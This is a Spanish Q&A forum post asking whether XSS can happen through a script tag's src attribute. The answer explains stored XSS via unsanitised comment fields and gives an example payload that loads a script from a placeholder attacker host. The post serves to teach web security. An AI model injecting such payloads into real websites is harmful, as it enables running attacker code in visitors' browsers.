¿Es posible que XSS ocurra en el atributo src?

Question

¿Es posible que XSS ocurra en el atributo src?

#1 de gabe3886 (2 votos)

3

Estoy trabajando en la vulnerabilidad de XSS y lo entiendo. Sé que en los siguientes casos, la inyección de secuencias de comandos en sitios cruzados ocurre en el contexto de Javascript

Dentro de la etiqueta <script> .
Dentro de la etiqueta html en los valores de los atributos del controlador de eventos.
Dentro del valor de atributo, en javascript: URL.

Ahora, ¿existe alguna posibilidad de ataque XSS en JavaScript incluido directamente usando el atributo " src ".

por ejemplo <script src="./importjavascript.js"></script>

En caso afirmativo, ¿podría darme un ejemplo?

web-application xss javascript

pregunta BSalunke 15.04.2016 - 14:04

fuente

1 respuesta

Lea otras preguntas en las etiquetas web-application xss javascript

Tener una clave única para cifrar datos no es suficiente ¿Puede un usuario malintencionado causar daño usando / dev / kvm?

score 2 · Answer 1

Sí, y con bastante facilidad (si entiendo la pregunta correctamente).

Si un sitio web tiene una sección de comentarios que le permite al usuario publicar cualquier cosa (o cualquier sección donde le permita a un usuario / visitante publicar cualquier cosa) y genera lo que ingresa exactamente como aparece sin ningún tipo de saneamiento, podría ingresar algo como:

<script src="http://dodgy.url/badscript.js"></script>

Si ese era el resultado como HTML normal, entonces cualquier persona que visite la página tendrá ese script cargado para ellos, probablemente sin que el propietario del sitio web lo sepa.